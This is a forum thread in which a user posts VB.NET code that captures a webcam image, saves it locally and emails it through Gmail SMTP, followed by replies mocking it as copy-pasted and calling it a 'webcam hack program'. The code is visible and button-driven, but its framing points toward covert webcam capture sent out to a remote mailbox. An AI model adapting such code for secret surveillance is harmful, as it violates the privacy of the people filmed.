CAPTURE IMAGE USING WEBCAM IN VB.NET AND SEND IT TO ANY GMAIL.

[42trojan42]

_Hello i just create a simple software that capture image using WebCam with vb.net and send it to your Gmail via Smtp method_
First create a new project (Windows Forms Application) then add one button and one Picturebox From toolbox now double click on your form
and paste the code

Imports System.Net.Mail
Public Class Form1
    Const WM_CAP As Short = &H400S
    Const WM_CAP_DRIVER_CONNECT As Integer = WM_CAP + 10
    Const WM_CAP_DRIVER_DISCONNECT As Integer = WM_CAP + 11
    Const WM_CAP_EDIT_COPY As Integer = WM_CAP + 30
    Const WM_CAP_SET_PREVIEW As Integer = WM_CAP + 50
    Const WM_CAP_SET_PREVIEWRATE As Integer = WM_CAP + 52
    Const WM_CAP_SET_SCALE As Integer = WM_CAP + 53
    Const WS_CHILD As Integer = &H40000000
    Const WS_VISIBLE As Integer = &H10000000
    Const SWP_NOMOVE As Short = &H2S
    Const SWP_NOSIZE As Short = 1
    Const SWP_NOZORDER As Short = &H4S
    Const HWND_BOTTOM As Short = 1
    Dim iDevice As Integer = 0
    Dim hHwnd As Integer
    Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Object) As Integer
    Declare Function SetWindowPos Lib "user32" Alias "SetWindowPos" (ByVal hwnd As Integer, ByVal hWndInsertAfter As Integer, ByVal x As Integer, ByVal y As Integer, ByVal cx As Integer, ByVal cy As Integer, ByVal wFlags As Integer) As Integer
    Declare Function DestroyWindow Lib "user32" (ByVal hndw As Integer) As Boolean
    Declare Function capCreateCaptureWindowA Lib "avicap32.dll" (ByVal lpszWindowName As String, ByVal dwStyle As Integer, ByVal x As Integer, ByVal y As Integer, ByVal nWidth As Integer, ByVal nHeight As Short, ByVal hWndParent As Integer, ByVal nID As Integer) As Integer
    Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, ByVal cbVer As Integer) As Boolean
    Private Sub OpenPreviewWindow()
        Dim iHeight As Integer = picCapture.Height
        Dim iWidth As Integer = picCapture.Width
        hHwnd = capCreateCaptureWindowA(iDevice, WS_VISIBLE Or WS_CHILD, 0, 0, 640, 480, picCapture.Handle.ToInt32, 0)
        If SendMessage(hHwnd, WM_CAP_DRIVER_CONNECT, iDevice, 0) Then
            SendMessage(hHwnd, WM_CAP_SET_SCALE, True, 0)
            SendMessage(hHwnd, WM_CAP_SET_PREVIEWRATE, 66, 0)
            SendMessage(hHwnd, WM_CAP_SET_PREVIEW, True, 0)
            SetWindowPos(hHwnd, HWND_BOTTOM, 0, 0, picCapture.Width, picCapture.Height, SWP_NOMOVE Or SWP_NOZORDER)
        Else
            DestroyWindow(hHwnd)
        End If
    End Sub
    Private Sub ClosePreviewWindow()
        SendMessage(hHwnd, WM_CAP_DRIVER_DISCONNECT, iDevice, 0)
        DestroyWindow(hHwnd)
    End Sub
    Private Sub button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStart.Click
        OpenPreviewWindow()
        Dim data As IDataObject
        Dim bmap As Image
        My.Computer.FileSystem.CreateDirectory("C:\NewDirectory")
        SendMessage(hHwnd, WM_CAP_EDIT_COPY, 0, 0)
        data = Clipboard.GetDataObject()
        If data.GetDataPresent(GetType(System.Drawing.Bitmap)) Then
            bmap = CType(data.GetData(GetType(System.Drawing.Bitmap)), Image)
            PictureBox1.Image = bmap
            ClosePreviewWindow()
            btnStart.Enabled = True
            data = Clipboard.GetDataObject()
            bmap.Save("C:\NewDirectory\c54182qe.png", System.Drawing.Imaging.ImageFormat.Png)
            Dim SmtpServer As New SmtpClient
            SmtpServer.EnableSsl = True
            Dim mail As New MailMessage
            SmtpServer.Credentials = New Net.NetworkCredential("Your_Gmail", "Gmail_Password")
            SmtpServer.Port = 587
            SmtpServer.Host = "smtp.gmail.com"
            mail = New MailMessage
            mail.From = New MailAddress("Your_Gmail")
            mail.To.Add("Your_Gmail")
            mail.Subject = "WebCam"
            mail.Body = "WebCam"
            mail.Attachments.Add(New Attachment("C:\NewDirectory\c54182qe.png"))
            SmtpServer.Send(mail)
        End If
    End Sub
End Class

if you like this leave me a thanks ! add me on Skype if you need help skype:terena.dale1

[NetherWorker]

Amazing work!

[[MPGH]Mayion]

Teach me please how did you C+P.

[42trojan42]

Amazing work!

Thx dude

[42trojan42]

Mayion not similar to my code and it can''t send the picture to gmail

[abuckau907]

Mayion not similar to my code and it can''t send the picture to gmail

Dim iDevice As Integer = 0
Dim hHwnd As Integer

'i' is hungarian notation (https://en.wikipedia.org/wiki/Hungarian_notation) for 'integer', and 'h' for 'handle', but what is double hH? The variable's full name would be "handleWindow" right? So what's hH short for - c+p.?

You can see the correct (um..normal?) use a couple lines above (..in both versions)

Const HWND_BOTTOM As Short = 1

hWnd is the name most ppl would have given the variable. Unless you have a plausible sounding reason why you picked hH, it looks like you c+p'd.. not that it matters tho : p

[42trojan42]

'i' is hungarian notation (https://en.wikipedia.org/wiki/Hungarian_notation) for 'integer', and 'h' for 'handle', but what is double hH? The variable's full name would be "handleWindow" right? So what's hH short for - c+p.?

You can see the correct (um..normal?) use a couple lines above (..in both versions)


hWnd is the name most ppl would have given the variable. Unless you have a plausible sounding reason why you picked hH, it looks like you c+p'd.. not that it matters tho : p

yeah i just added how to send picture to gmail and the code is public every one can take it and look to my Title CAPTURE IMAGE USING WEBCAM IN VB.NET AND SEND IT TO ANY GMAIL.

[GBot!]

Teach me please how did you C+P.

Find out how to make this so u can watch me fap.

[abuckau907]

yeah i just added how to send picture to gmail and the code is public every one can take it and look to my Title CAPTURE IMAGE USING WEBCAM IN VB.NET AND SEND IT TO ANY GMAIL.

Cool story bro. copy-paste how to capture image and copy-paste how to send email via gmal...epic stuffs of h4xor..wonderful of you to post it. [/sarcasm]

[71c]

Yeah your "webcam hack program" -.-